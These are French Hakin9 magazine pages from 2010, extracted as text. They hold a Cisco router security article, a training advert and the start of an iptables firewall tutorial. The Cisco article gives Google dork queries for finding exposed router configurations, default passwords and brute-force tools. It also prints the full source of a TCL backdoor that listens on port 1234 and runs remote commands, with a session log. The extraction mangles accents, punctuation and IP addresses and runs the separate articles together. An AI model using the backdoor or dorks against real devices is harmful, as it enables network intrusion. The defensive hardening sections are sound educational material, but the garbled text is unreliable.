Deacutecouverte et eacutenumeacuterationCette partie sinteacuteresse aux techniques de deacutecouverte et deacutenumeacuteration propre au monde des routeurs et du routage les techniques de deacutecouverte active avec des outils comme nmap sont assez connus et ont deacutejagrave eacuteteacute abordeacutees dans dautres articles

Larticle se focalisera sur le googleHacking sur leacutenu-meacuteration BGP et AS et sur lextraction dinformations agrave partir des protocoles de routage utiliseacutes

Googlehacking cette technique efficace pour collec-ter des informations et trouver des plates-formes vulneacute-rables sappuie sur une bonne connaissance des opeacute-rateurs Google (voir Table 1)

Le tableau est une liste reacuteduite des principaux opeacutera-teurs il est eacutegalement possible dutiliser des fonction-naliteacutes de recherches avanceacutees en manipulant lURI de google

Le grand inconveacutenient de cette technique est le nom-bre de fausses alertes il est donc important de sarmer

de patience et dessayer petit agrave petit dameacuteliorer leffica-citeacute des mots rechercheacutes

Le principe pour trouver des fichiers de configuration est assez simple rechercher des commandes utiliseacutes dans un fichier de configuration des extensions don-neacutees aux fichiers de configuration (cfg conf log txt) et des mots cleacutes en relation dans lURI (-cfg cisco conf )

Voici une liste non exhaustive des diffeacuterentes expres-sions que vous pouvez utiliser pour trouver des fichiers de configuration vous pouvez vous en inspirer pour trouver dautres expressions plus efficaces (cf Listing 2)

Cette technique tregraves simple permet aux script-kid-dies de trouver des cibles faciles Cependant la majo-riteacute des fichiers de configuration trouvables sur google restent inexploitables (utilisation dadressages priveacutes RFC1918 proteacutegeacutes par des pare-feux ou tregraves anciens et plus utiliseacutes)

Routage collecter des informations sur le routage dune organisation permet de mieux comprendre son in-frastructure reacuteseau ses points dinterconnexions et sa reacutesilience contre les attaques de deacuteni de service

Les informations sur le peering et le routage BGP sont facilement disponibles sur des sites comme rob-tex nous pouvons en deacuteduire les opeacuterateurs dune en-treprise les scopes IP alloueacutes et la distribution de trafic par lien

Les registres de routages et les looking glass sont aussi des sources preacutecieuses dinformations elles per-mettent de mener des tests de ping et traceroute afin de deacutetecter deacuteventuelles regravegles de filtrage et donnent une meilleure cartographie du reacuteseau

Des outils comme ASS et Polyphemus permettent de collecter des informations sur les protocoles internes de routage (OSPF RIP hellip) et didentifier les protocoles uti-liseacutes et le niveau de seacutecuriteacute appliqueacute (cf Listing 3)

exploitation et maintien daccegravesLa meacutethode la plus simple et la plus directe pour ex-ploiter nimporte quelle plate-forme consiste agrave trouver des services de gestion exemple du Telnet ou SSH

table 1 Liste opeacuterateurs Google

Opeacuterateur Description Exemplesite Appliquer la recherche sur le site indiqueacute

seulementURPF sitewwwciscocom

filetype Chercher les fichiers du type indiqueacute Google search cheat sheet filetypepdf

inurl LURL contient le mot rechercheacute laquoCisco confraquo inurlforum

related Lister les sites web similaires Relatedwwwsecurityfocuscom

intext Le site contient les mots rechercheacutes Intextlaquoenable password 7raquo

cache Acceacuteder agrave la version en cache sur les se-rveurs google

cachewwwsecurity-databasecom

intitle Chercher dans les titres des pages web intitleindexof ios parent directory bin

Seacutecuriteacute CiSCO

hakin9orgfr 15

et de lancer des attaques de brute force par diction-naire

Pour essayer de compromettre les mots de passe dune machine privileacutegiez les mots de passe par deacute-faut et les comptes triviaux ciscocisco adminadmin testtest

Vous serez eacutetonneacute de voir combien ces mots de passe sont utiliseacutes vous pouvez dailleurs vous en rendre compte en deacutechiffrant les mots de passe des fichiers de configuration trouvables avec le google-hacking

Hydra et cisco-torch peuvent servir pour avoir ac-cegraves agrave la machine en brute forccedilant les protocoles suivant telnet ssh web et snmp Lrsquooutil enabler permet de brute forcer laccegraves aux privilegraveges plus eacuteleveacutes

Ce type dattaque est tregraves bruyant nimporte quel outil de correacutelation de log est capable de le deacutetecter

Pour compromettre un routeur ou un commutateur Cisco il est possible dexploiter une vulneacuterabiliteacute dun des services activeacutes lIOS Cisco reste difficile agrave exploi-ter et la grande majoriteacute des vulneacuterabiliteacutes ne causent que des deacutenis de service

OSVDB CVE et SecuriyVulnentrabilitynet reacutefeacuteren-cent un tregraves grand nombre de vulneacuterabiliteacutes publieacutees et renvoient vers des codes dexploitation (packetstorm exploit-db)

Cette meacutethode digne dun script-kiddie est rare-ment efficace contre les systegravemes dexploitation Cisco car comme indiqueacute preacuteceacutedemment le grand

nombre de versions dOS rend difficile la reacutedaction de code dexploitation fonctionnat sur toutes les ver-sions

Apregraves compromission de la machine il est possible dutiliser un script TCL pour creacuteer un trojan sur la plate-forme

Voici un exemple dun trojan TCL sur le routeur (cf Listing 4)

Ce script eacutecoute sur le port 1234 vous pouvez le mo-difier en changeant la commande set port 1234 par le port que vous voulez utiliser

approche deacutefensiveDeacutesactivation des services inutiliseacutes le durcisse-ment du Management Plane commence par la deacutesac-tivation de tous les services inutiliseacutes qui sont parfois vulneacuterables ou grand consommateurs de ressources donc vecteurs dattaques de deacutenis de service (cf Lis-ting 7)

Voici une liste assez complegravete des principaux servi-ces agrave deacutesactiver

bull PADbull MOPbull Fingerbull Bootpbull DNSbull Services TCP et UDP (Echo Chargen Discard)bull Script TCLbull CDP et LLDP sur les interfaces externes

Listing 2 Requecirctes googleHacking

no service single-slot-reload-enable enable secret

5 filetypeshtml -inurlcisco

ip ftp password 05080F1C2243

filetypecfg intextcisco

inurl-cfg intextenable secret

intitlelevel15exec

Listing 3 Utilisation dASS

test ass -mA -i eth0 -D 192168110 -b15 -v

ASS [Autonomous System Scanner] $Revision 214 $

(c) 2k FX ltfxphenoelitdegt

Phenoelit (httpwwwphenoelitde)

No protocols selected scanning all

Running scan with

interface eth0

Autonomous systems 0 to 15

delay is 1

in ACTIVE mode

Building target list

192168110 is alive

Scanning

Scanning IGRP on 192168110

Scanning IRDP on 192168110

Scanning RIPv1 on 192168110

shutdown

gtgtgtgtgtgtgtgtgtgtgtgt Results gtgtgtgtgtgtgtgtgtgtgt

192168110

IGRP

AS 00010 10000 (500001111111147625510)

IRDP

192168110 (18000)

192168999 (18000)

RIPv1

10000 (1)

Listing 4 Trojan TCL ndash routeur

Routergten

Routertclsh

Router(tcl)source tftptftpservertclshtcl

6201016

Pratique

Authentification et politique de mots de passe une politique stricte de mots de passe est agrave appliquer il est preacuteconiseacute dutiliser une forme dauthentification AAA

preacutefeacuterablement Tacacs+ afin de garder une trace des actions et des modifications appliqueacutees Les mots de passe des comptes locaux doivent utiliser un chiffrage

Listing 5 Trojan TCL ndash machine drsquoaccegraves

$ telnet router 1234

Trying router

Connected to router

Escape character is ^]

-------------------------------------

TclShell v01 by Andy Davis IRM 2007

-------------------------------------

Cisco IOS Software C2600 Software (C2600-

ADVENTERPRISEK9-M) Version

124(17) RELEASE

SOFTWARE (fc1)

Current privilege level is 15

Enter IOS command

show running-config

Building configuration

Current configuration 743 bytes

version 124(17)

service timestamps debug uptime

ltCUTgt

Listing 6 Trojan TCL ndash code source

TclShelltcl v01 by Andy Davis IRM 2007

IRM accepts no responsibility for the misuse of this

code

It is provided for demonstration purposes only

proc callback sock addr port

fconfigure $sock -translation lf -buffering line

puts $sock

puts $sock -------------------------------------

puts $sock TclShell v01 by Andy Davis IRM 2007

puts $sock -------------------------------------

puts $sock

set response [exec sh ver | inc IOS]

puts $sock $response

set response [exec sh priv]

puts $sock $response

puts $sock

puts $sock Enter IOS command

fileevent $sock readable [list echo $sock]

proc echo sock

global var

if [eof $sock] || [catch gets $sock line]

else

set response [exec $line]

puts $sock $response

set port 1234

set sh [socket -server callback $port]

vwait var

close $sh

Listing 7 Deacutesactivation des services

no scripting tcl init

no scripting tcl encdir

no service tcp-small-servers

no service udp-small-servers

no ip bootp server

no ip finger

no service dhcp

no ip domain lookup

no service pad

no ip http server

no ip http secure server

no ip gratuitous arp

Listing 8 Seacutecurisation de lauthentification locale

service password encrytpion

enable secret level ltlevelgt ltpasswordgt

no enable password

security authentication failure rate 10 log

security password min-length 6

Listing 9 Configuration seacutecuriseacutee de la journalisation

logging ltaddressgt

no logging console

no logging monitor

logging source-interface loopback 0

Listing 10 Configuration seacutecuriseacutee des accegraves

line vty 0 6 ltline numbersgt

transport input ssh

transport output none

exec-timeout 5 0

access-class 140 in

ip access-list extended 140

remark Management access restriction

ltaccess-listgt

deny ip any any log

6201018

Pratique

fort type MD5 et non des mots de passe de type 7 fa-cilement deacutechiffrables

Il est eacutegalement important de configurer un timeout de connexion entre 5 et 10 minutes (cf Listing 8)

Journalisation et sauvegarde des actions la journa-lisation des eacuteveacutenements ainsi que la sauvegarde des fichiers de configuration deacutependent de la politique inter-ne de lentreprise elle-mecircme deacutependant de sa capaciteacute agrave stocker et agrave inspecter les logs geacuteneacutereacutes (cf Listing 9)

Une configuration seacutecuriseacutee commence par la deacutefini-tion dune interface source des log (souvent linterface loopback0) lactivation des timestamps (facilite la lec-ture des logs) et la deacutefinition dun niveau des logs agrave en-voyer (en fonction de la capaciteacute de stockage agrave pros-crire le niveau 7)

Il est preacuteconiseacute de deacutesactiver les logs console et logs monitor susceptibles de consommer eacutenormeacutement de ressources causant un deacuteni de service

Filtrage daccegraves aux services de controcircle il existe deux meacutethodes de gestion dune plate-forme (routeur commu-tateur serveur hellip) Inbound le flux de transport et le flux de controcircle sont sur les mecircmes interfaces ou Outbound seacuteparation des flux de controcircle et des flux de transport

Le modegravele outbound est plus seacutecuriseacute son applica-tion se traduit par linstallation de serveurs de rebond souvent accessible agrave travers un VPN Des access-list sont creacuteeacutes sur le routeur nautorisant laccegraves quagrave partir de la machine de rebond Il est eacutegalement possible de deacutefinir une interface deacutedieacutee aux protocoles de gestion permettant ainsi une seacutecuriteacute optimale

LIOS Cisco permet eacutegalement dappliquer des ac-cess-list sur les accegraves SNMP en lecture seule et en lec-ture eacutecriture nautorisant que les machines de confian-ce censeacutees acceacuteder en SNMP agrave la plate-forme (cf Listing 10)

Durcissement du Control PlaneDurcir le control plane commence par le durcissement des protocoles de routages Ce sujet est neacuteanmoins

tregraves large et tregraves complexe plusieurs meacutecanismes de seacutecuriteacute existent selon le protocole utiliseacute et son fonc-tionnement la seacutecurisation de IS-IS est diffeacuterente de la seacutecurisation dOSPF par exemple

Il est cependant important dutiliser des secrets parta-geacutes de filtrer les annonces reccedilues en bloquant les an-nonces des blocs IP internes

Les environnements commuteacutes doivent obligatoi-rement ecirctre durcis contre les attaques MITM comme lempoisonnement ARP ces attaques souvent faciles agrave mener ont un effet deacutevastateur

Lutilisation du DHCP snooping du DAI (Dynamic ARP Inspection) et du Port security permet de pallier ce risque

Proteacuteger les ressources CPU des plates-formes en assurant le traitement des flux critiques (routage et ma-nagement) est possible gracircce au CoPP ce meacutecanisme est parfois long agrave impleacutementer

Il faut configurer des ACL pour deacutefinir les cateacutegories de flux en fonction de leur importance (routage mana-gement indeacutesirable normal et autre)

Configurer des Class-map pour chaque cateacutegorie et finalement configurer des Policy-map avec les valeurs autoriseacutes est le comportement adeacutequat pour chaque ty-pe de flux

Le CoPP nagit que sur les flux traiteacutes par le CPU et ninfluence aucunement les flux de transport

Durcissement du Data PlaneLa grande majoriteacute des attaques utilisent le spoofing dadresses IP pour diverses raisons Cisco propose un meacutecanisme dantispoofing (uRPF) utilisant la table de routage Ce meacutecanisme protegravege contre le spoofing des adresses IP internes

uRPF existe en plusieurs modes (strict loose vrf hellip) selon la symeacutetrie du routage et lutilisation de routeurs virtuels

Outre le blocage du spoofing dadresses IP avec luR-PF il est preacuteconiseacute de bloquer

table 2 RFC 3330

Scope Description

00008 laquoCeraquo reacuteseau

10008 Reacuteseau priveacute RFC 1918

127000 Loopback

1692540016 Lien local

172160012 Reacuteseau priveacute RFC 1918

19202024 Reacuteseau de test

1928899024 Relais anycast IPv6 agrave IPv4

1921680016 Reacuteseau priveacute RFC 1918

198180015 Test deacutevaluation de plates-formes

2240004 Multicast

hakin9orgfr 19

bull Bloques IP du RFC3330bull Messages ICMPbull Paquets fragmenteacutes

ConclusionLa seacutecuriteacute des plates-formes Cisco est un sujet vaste et passionnant il permet de sinteacuteresser agrave la fois agrave la seacute-curiteacute reacuteseau et systegraveme Les vecteurs dattaques sont nombreux et un simple article ne peut preacutetendre agrave les couvrir tous

Seacutecuriser ces plates-formes oblige donc agrave sinteacuteres-ser au fonctionnement des protocoles utiliseacutes et de lar-chitecture Hardware et Software du systegraveme

La compromission drsquoune telle plate-forme peut ecirctre fatale les nouveaux IOS proposent de nouvelles fonc-tionnaliteacutes permettant par exemple denregistrer le tra-fic sur une interface ou un VLAN et ainsi extraire les mots de passes et les informations circulant en clair dougrave limportance de sinteacuteresser agrave leur seacutecuriteacute

Agrave PrOPOS De LauteurLauteur est eacutetudiant en troisiegraveme anneacutee agrave Telecom SudParis (ex Telecom INT) il e ectue actuellement un stage dune an-neacutee agrave Bouygues Telecom en seacutecuriteacute reacuteseau Vous pouvez le contacter agrave ladresse mail suivante alaeddinemesbahigmailcom

Sur internetbull wwwhackersforcharityorgghdb ndash Liste de requecirctes go-

oglehacksbull wwwphenoelit-usorgdpldplhtml ndash Liste de mots de pas-

se par deacutefautbull wwwsecurityvulnerabilitynet ndash Excellent moteur de re-

cherche de vulneacuterabiliteacutes (BD de vulneacuterabiliteacutes CVE)

terminologiebull AS (Autonomous System) un ensemble de reacuteseaux IP so-

us le controcircle dune seule et mecircme entiteacute typiquement un fournisseur daccegraves agrave Internet ou une plus grande or-ganisation qui possegravede des connexions redondantes avec le reste du reacuteseau Internet Wikipeacutedia

bull Looking glass serveurs accessibles agrave partir dinternet po-ur visionner des informations sur le routage et des statisti-ques sur le trafi c

bull AAA correspond agrave un protocole qui reacutealise trois fonctions lauthentifi cation lautorisation et la traccedilabiliteacute (en An-glaisAuthentication Authorization AccountingAuditing) Wikipeacutedia

19

6201020

Seacutecuriteacute reacuteSeaux

Dans le noyau 22 avec ipchains le code du pare-feu eacutetait eacuteparpilleacute au travers de la couche applica-tive reacuteseau ce qui ne facilitait pas la maintenance

Depuis les noyaux 24 la solution de filtrage Netfilter est inteacutegreacutee au noyau des distributions ce qui permet de meilleures performances et une grande faciliteacute dutilisation

Cette solution permet une analyse au niveau TCPIP et la gestion dIPV4 IPV6 IPX ARP (et bien dautre) deffectuer du filtrage la translation dadresse (NAT) ain-si que lalteacuteration de paquet (MANGLE) Par Netfilter on deacutesigne lensemble des fonctions internes du noyau qui reacutealisent les opeacuterations de filtragefirewall Iptables sert dinterface de configuration il fonctionne en mode utili-sateur Larriveacutee du mode StateFull a apporteacute un grand confort dutilisation plus de filtrage brut on met en place un systegraveme de filtrage intelligent

Fonctionnement de NetfilterLe but dun pare-feu est de bloquer filtrer router mo-difier des paquets reacuteseaux Les regravegles de configuration de Netfilter (iptables) ont eacuteteacute creacuteeacutees pour ecirctre simple dutilisation mecircme si lon verra que lon peut tregraves bien creacuteer des regravegles tregraves longues et tregraves compliqueacutees Pour ce faire des points dencrages (hook) ont eacuteteacute mis en pla-ce leur rocircle est de permettre une gestion des paquets agrave chacun des points dexploitation (voir Figure 1)

bull NF _ IP _ PRE _ ROUTING paquets entrants sur linterfa-ce

bull NF _ IP _ LOCAL _ IN paquets destineacutes agrave la machine locale

bull NF _ IP _ FORWARD paquets agrave routerbull NF _ IP _ LOCAL _ OUT paquets eacutemis depuis la machine

localebull NF _ IP _ POST _ ROUTING paquets sortants de linterface

Chacun de ces points dencrages correspond agrave une chaine que nous allons exploiter dans la conception de regravegles qui vont deacutefinir quel paquet est accepteacute ou reje-teacute (voir Figure 2)

bull NF _ IP _ PRE _ ROUTING PREROUTINGbull NF _ IP _ LOCAL _ IN INPUTbull NF _ IP _ FORWARD FORWARDbull NF _ IP _ LOCAL _ OUT OUTPUTbull NF _ IP _ POST _ ROUTING POSTROUTING

Le traitement des paquets est effectueacute de maniegravere seacute-quentielle cest agrave dire dans lordre dans lesquelles les regravegles ont eacuteteacute appliqueacutees (dougrave limportance de bien tout faire dans lordre) Le paquet sera traiteacute de la ma-niegravere suivante par le noyau

bull Reconnaissance de la Table (on traite le paquet en fonction des regravegles de la table) FILTER NAT MANGLE

bull Reconnaissance pour aiguillage (type de paquet INPUT OUTPUT)

Firewall sous linux

Maintenant que la plupart des machines sont relieacutees entre elles dans le monde via Internet les probleacutematiques de seacutecuriteacute se font grandissantes Apregraves limpact des PC-Zombies ou les intrusions via des vers telles que my-tob ou saccer la question du pare-feu ne se pose plus Nous allons voir ensemble le fonctionnement diptables sous Linux en commenccedilant par les bonnes pratiques pour finir sur la seacutecurisation dune machine connecteacutee agrave Internet

cet article expliquebull Le fonctionnement des pare-feubull Les bonnes pratiques pour la mise en place dun pare-feubull Comment configurer Netfilterbull Les fonctions de routagebull Le filtrage avec IPV6

ce quil faut savoirbull Des connaissances en administration Linuxbull Le fonctionnement des reacuteseaux et protocoles (Ethernet TCP

IP UDPIP)

Nicolas Hanteville

Firewall

hakin9orgfr 21

bull Je veux pouvoir naviguer sur les sites web normaux et seacutecuriseacutes (HTTP HTTPS)

bull Je veux pouvoir teacuteleacutecharger et envoyer des mails (SMTP POP3 IMAP)

bull Je veux pouvoir acceacuteder au transfert de fichier (FTP)

Dans le cas preacutesent si je ne prends en compte que ces demandes je vais avoir des problegravemes Ici je ne traite pas la reacutesolution adressenom il va donc falloir ajou-ter aussi lautorisation du protocole DNS Pour faire des tests reacuteseau et veacuterifier que mon routeur fonctionne bien jaurais surement besoin dICMP Si je veux tes-ter ma machine localement jaurais surement besoin dautoriser le LOOPBACK Si dans mon reacuteseau je veux administrer ma machine agrave distance via SSH il faudra aussi le prendre en compte

tableau des fluxNous allons maintenant nous attaquer agrave la premiegravere des phases de mise en place du pare-feu agrave savoir le tableau des flux Le but est de mettre en place un tableau qui repreacutesente la totaliteacute des flux que nous voulons autori-ser Dans le futur en cas deacutevolution de notre filtrage ou danalyse plus pousseacutee le travail sera simplifieacute si nous avons un tableau il permet de comprendre plus rapide-ment la politique que lon a voulu mettre en place

Pour reacutediger une regravegle nous avons besoin de plu-sieurs paramegravetres

bull Si le flux est en entreacutee (INPUT) ou en sortie (OUT-PUT)

bull Leacutetat de la connexion (nouvelle connexion suivie de connexion)

bull Le type de protocole (ICMP TCP UDP)bull Ladressage source (dougrave provient le flux)

bull Test de la validiteacute du paquet par rapport agrave la pre-miegravere regravegle si le paquet correspond agrave une autori-sation il passe (chaine ACCEPT) sil correspond agrave une interdiction il est supprimeacute (chaine DROP) si-non il passe agrave la regravegle suivante

bull Le paquet agrave traverseacute toutes les regravegles car aucune ne lui correspondait le paquet est donc traiteacute par la politique par deacutefaut (ACCEPT ou DROP)

Afin dexploiter les possibiliteacutes de Netfilter il faut creacuteer des regravegles Ces regravegles sont composeacutees de la table pour laquelle le paquet sera traiteacute de chaines qui deacute-finissent le point de traitement (INPUT OUTPUT) le protocole les ports les adresses (hellip) ainsi que le reacute-sultat de lapplication de la regravegle (ACCEPT ou DROP)

Les bonnes pratiquesAvant de commencer la reacutedaction de regravegles il est impor-tant de ne pas tomber dans la creacuteduliteacute et dire jai un pare-feu je suis proteacutegeacute

Un pare-feu cest comme avec un parapluie sil est casseacute quil y a trop de vent ou que je ne louvre pas il ne protegravege pas de la pluie

Au lieu donc de faire nimporte quoi et de partir dans des eacutelucubrations qui donneront des regravegles incoheacuteren-tes qui laisseront passer ce qui doit ecirctre filtreacute et qui filtre-ra ce qui doit passer il faut faire une liste des besoins

Dans cet article nous allons partir sur un cas tregraves sim-ple jai une machine en frontale sur internet avec une seule carte reacuteseau je veux limiter au maximum les pos-sibiliteacutes dy acceacuteder tout en me permettant de lexploiter Bien sucircr quelques modifications simples permettront dadapter ce cas au votre (sans entrer dans des archi-tectures trop complexes voir Figure 3)

Tout dabord nous allons eacutenoncer nos besoins primai-res

Figure 2 Chaines

Figure 1 Points dencrage

6201022

Seacutecuriteacute reacuteSeaux

bull Le port sourcebull Ladressage de destination (ougrave va le flux)bull Le port destination

Pour lexemple ladresse IP de la machine sera 19216802 Consultez la Table 1 table des flux cor-respondant aux besoins de notre exemple

Ici je mautorise agrave faire un PING sur toutes les machi-nes du monde mais pas agrave reacutepondre agrave un PING prove-nant dune autre machine De mecircme je nai pas repreacute-senteacute le LOOPBACK

Lorsque lon voit ce tableau et que lon a jamais fait de regravegles iptables une question se pose tout de suite quest ce que NEW ESTABLISHED ou bien RELATED veulent dire Et bien cest assez simple NEW correspond agrave la creacuteation dune nouvelle connexion ESTABLISHED signi-fie que la connexion est deacutejagrave eacutetablie et que cest la suite

et RELATED signifie que cest une nouvelle connexion en relation avec une autre connexion Lutilisation des eacutetats permet une utilisation beaucoup plus simple en effet le pare-feu est maintenant intelligent de plus certaines fonc-tionnaliteacutes sont geacutereacutees par des modules compleacutementaires (nous verrons cela dans la partie deacutedieacutee au FTP)

Pour deacuteterminer si un paquet est la reacuteponse dun autre paquet le noyau enregistre les sessions pour les visua-liser on peut utiliser loutil conntrack pour visionner son contenu conntrack -E ou more procnetip_conntrack

Format des regravegles avec iptablesVoici comment se compose une regravegle

bull iptables (Appel de la commande)bull iptables table (si aucune nest preacuteciseacutee cest la table

FILTER) exemple (ici -t FILTER) iptables -t FILTER -P INPUT DROP

bull iptables chaicircne (chaicircne de la commande) exemple (ici -P INPUT) iptables -P INPUT -j DROP

bull iptables chaicircne motifs de reconnaissance exemple (ici -s 19216801) iptables -A INPUT -s 19216801 -j DROP

bull iptables chaicircne motifs de reconnaissance cibles exem-ple (ici -j DROP) iptables -A INPUT -s 19216801 -j DROP

La table FiLterContient les regravegles de filtrage pour les paquets entrants et sortants localement sur la machine cest la table par deacutefaut si non speacutecifieacutee Elle permet lutilisation des chaicirc-nes suivantes INPUT OUTPUT FORWARD

La table NatElle gegravere la transaction dadresse et de port elle per-met de transformer notre pare-feu en routeur Elle per-met lutilisation des chaicircnes suivantes PREROUTING POSTROUTING OUTPUT Cette table nest pas utili-seacutee dans le cadre de lIPV6

La table MaNGLeCette table est tregraves utile pour effectuer du controcircle de flux (deacutebit reacuteseau et prioriteacute) ainsi que du marquage de paquets Elle permet lutilisation des chaicircnes suivantes PREROUTING INPUT FORWARD OUTPUT POS-TROUTING

La table raWRAW sert agrave placer des marques sur les paquets qui ne doivent pas ecirctre veacuterifieacutes par le systegraveme de traccedilage de connexion (utilisation de la cible NOTRACK sur le paquet) Elle permet lutilisation des chaicircnes suivantes PREROUTING OUTPUT

Fichiers et commandes importantesAfficher la liste des regravegles de filtrage en numeacuterotant les lignes et en indiquant le nombre de paquets traiteacutes sans faire de reacutesolution de port Figure 4 Sceacutenario 2

Figure 3 Sceacutenario 1

formations

Rentreacutee 2010 les incontournables

formaformaformationstionstionstionstionstionsamp Certification professionnelle

Renseignements amp Inscriptions bull Teacutel 0821 20 25 00 (prix drsquoun appel local)

bull infoglobalknowledgefr

Teacuteleacutechargez le catalogue complet sur

wwwglobalknowledgefr

Global Knowledge France - Siegravege social - Tour Albert 1er - 65 avenue de Colmar - 92507 Rueil-Malmaison cedex - Teacutel 01 78 15 34 00 - Fax 01 78 15 33 90 copy 2010 Global Knowledge Training LLC

Gestion de projet PMI Prince 2bull Introduction au management de projetsbull La gestion des projets informatiques (IT)bull PMP Bootcamp Preacuteparation agrave la certificationbull Prince 2 Foundation

Gouvernance amp Management Informatiquebull La gouvernance et performance des Systegravemes drsquoinformationbull Les tableaux de bord de la performance informatiquebull Rentabiliteacute et valeur ajouteacutee des investissements informatiquesbull Cobit Foundation et la gouvernance des SIbull ITIL v3 Foundationbull Le cas Wall Street simulation sur ITIL v3 et ISO 20000 bull ISOIEC 20000 Foundationbull ISOIEC 27002 Foundationbull Maicirctriser et accompagner les changementsbull Deacutevelopper le leadership et les qualiteacutes de pilotage des managersbull Devenez manager coach de votre eacutequipe

Formations eacuteligibles au DIF | Support de cours remis agrave chaque participant

Les Essentiels Reacuteseaux Virtualisation Voix Seacutecuriteacute

bull Les reacuteseaux architectures mise en oeuvre et perspectives bull Enjeux et solutions drsquoun environnement virtuel bull Voix sur IP les fondamentaux bull La VoIP seacutecuriseacutee bull Les fondamentaux de la seacutecuriteacute informatiquebull CISSP Preacuteparation agrave la Certification bull Hacking Defined Advanced se proteacuteger contre les agressions du SI

Reacuteseaux Ciscobull Interconnecting Cisco Network Devices Part 1 (ICND1)bull Implementing Cisco IP Routing (ROUTE) nouveaubull Implementing Cisco IP Switched Networks (SWITCH) nouveaubull Troubleshooting amp Maintaining Cisco IP Networks (TSHOOT) nouveaubull Configurer BGP sur des routeurs Cisco (BGP)bull Cisco IPV6 Concepts Design et Deacuteploiement (IPV6)bull Implementing Cisco MPLS (MPLS)bull Mettre en oeuvre une infrastructure Cisco MultiCast (ICMI) nouveaubull Mettre en oeuvre CiscoWorks LMS (CWLMS)bull Mettre en oeuvre la seacutecuriteacute des reacuteseaux IOS Cisco (IINS)bull Seacutecuriser les reacuteseaux avec des routeurs et switches Cisco (SNRS)bull Les fondamentaux de la seacutecuriteacute des reacuteseaux avec Cisco ASA (SNAF)bull Cisco Wireless Lan Fundamentals (CWLF)bull Mettre en oeuvre Cisco IOS Unified Communications (IIUC)bull Cisco La Voix sur IP version 60 (CVOICEV6)bull Mettre en oeuvre la Qos Cisco (QOS)bull Cisco IP Telephony Part 1 version 6 (CIPT1V6)bull Data Center Network Infrastructure (DCNI-1)

Plus de 350 formations agreacuteeacutees par les eacutediteurs et constructeurs et 4000 sessions deacutelivreacutees par an font de Global Knowledge un organisme de formation reacutefeacuterent en informatique en management des Systegravemes drsquoInformation et gestion de projets IT

Virtualisation VMware Microsoft amp Citrix bull VMware Whatrsquos New vSphere 4 (mise agrave jour des connaissances) bull VMware vSphere 4 installation configuration et administration bull VMware View installation configuration et administration bull VMware vSphere 4 Troubleshooting nouveaubull VMware vSphere 4 Design nouveau

bull Mettre en oeuvre la virtualisation sous Windows 2008 (Hyper-V)bull Administrer les postes de travail avec MDOP bull Deacuteployer et administrer System Center Virtual Machine Managerbull Planifier deacuteployer et geacuterer System Center Configuration Manager bull Mettre en oeuvre et geacuterer System Center Operations Manager 2007

bull Mettre en oeuvre Citrix XenApp 5 pour Windows Server 2008bull Citrix Desktop Infrastructure geacuterer XenServer XenDesktop et Provisioning Serverbull Mettre en oeuvre une solution de virtualisation avec Citrix nouveau

ClientServeurMessagerie Microsoftbull Installation et configuration du client Windows 7 bull Planifier les deacuteploiements et administrer les environnements Windows 7bull Configuration et administration de SharePoint Server 2010 nouveaubull Deacutevelopper et personnaliser les applications pour Sharepoint 2010 nouveaubull Lrsquoessentiel de lrsquoadministration de serveurs Windows 2008bull Configurer et deacutepanner une infrastructure reacuteseau Windows 2008bull Active Directory pour Windows Server 2008bull Configuration administration et deacutepannage de Exchange Server 2010bull Concevoir et deacuteployer des solutions de messagerie avec Exchange 2010 nouveaubull Mise en œuvre et maintenance des outils de communications unifieacutees avec OCS R2

Global Knowledge a eacuteteacute eacutelu laquoMeilleur partenaire Formation de lrsquoanneacuteeraquo par Cisco VMware et Citrix

pub_Hackin9_ete2010indd 1 28062010 101155

6201024

Seacutecuriteacute reacuteSeaux

iptables -L -n -v --line

Remise agrave zeacutero des compteurs

iptables -Z

Pour supprimer une regravegle gracircce agrave son numeacutero de ligne

iptables -D ltchaicircnegt numeacutero

Pour sauvegarder les regravegles dans un fichier

iptables-save gt fichier_de_sauvegarde

Pour restaurer les regravegles agrave partir dun fichier

iptables-restore lt fichier_de_sauvegarde

Fichier de configuration pour iptables

etcsysconfigiptables-config

Fichier de sauvegarde des regravegles (sauf les systegravemes agrave base DEBIAN)

etcsysconfigiptables

Sauvegarde du fichier de configuration (ne fonction-ne pas sous DEBIAN il faut creacuteer un script et le placer dans etcnetworkif _ preupd)

iptables save

creacuteation de regravegles simples avec iptablesAttention dans tous les exemples de cette partie je considegravere que la machine na quune seule carte reacute-seau il faut utiliser -i ltinterfacegt pour un paquet pro-venant dune interface ou -o ltinterfacegt pour un paquet sortant dans chacune des regravegles

Avant de commencer la reacutedaction de nos regravegles de filtrage il est important de commencer sur des bases saines nous allons donc effacer le contenu des tables (ici je ninitialise que la table FILTER)

iptables -F

iptables -X

Il faut maintenant impleacutementer la regravegle de base on DROP tous les paquets puis on accepte les flux dont on a besoin

iptables -P INPUT DROP

iptables -P OUTPUT DROP

iptables -P FORWARD DROP

Nous pouvons maintenant commencer agrave mettre en pla-ce nos regravegles je tiens agrave preacuteciser que chacune des regravegles que je vais impleacutementer sera indeacutependante des autres afin de garder une coheacuterence globale en cas de besoin de suppression certaines pratiques que je ne recomman-de pas sont dimpleacutementer sur les trois chaines principales (INPUT OUTPUT et FORWARD) un suivi de connexion globale afin de faciliter la creacuteation des regravegles (je nai plus agrave me soucier du retour je creacutee simplement la regravegle dinitia-tion de la connexion) Cette maniegravere de faire simpliste peut engendrer des trous beacuteants dans le pare-feu je vous re-commande donc deacuteviter ce genre de pratique

Nous allons maintenant autoriser le LOOPBACK (le reacuteseau local de la machine)

iptables -A INPUT -i lo -j ACCEPT

iptables -A OUTPUT -o lo -j ACCEPT

Autorisation du PING

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

ICMP -s 19216802 -j ACCEPT

Figure 5 Firewall Builder

Firewall

hakin9orgfr 25

iptables -A INPUT -m state --state ESTABLISHED -p ICMP

-d 19216802 -j ACCEPT

Vous noterez ici que je nai pas stipuleacute la destination en 0000 en effet cest la valeur par deacutefaut si elle est non preacuteciseacutee

Autoriser le DNS

iptables -A OUTPUT -m state --state NEWESTABLISHED -

p UDP -s 19216802 -d 19216801 --sport

1024 --dport 53 -j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p UDP -s

19216801 -d 19216802 --sport 53 --dport

1024 -j ACCEPT

Ici mon serveur DNS et routeur est en IP 19216801 La commande --dport 1024 signifie que le port de des-tination est un port supeacuterieur agrave 1024

Autoriser le HTTP et HTTPS

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 80 -j

ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP -d

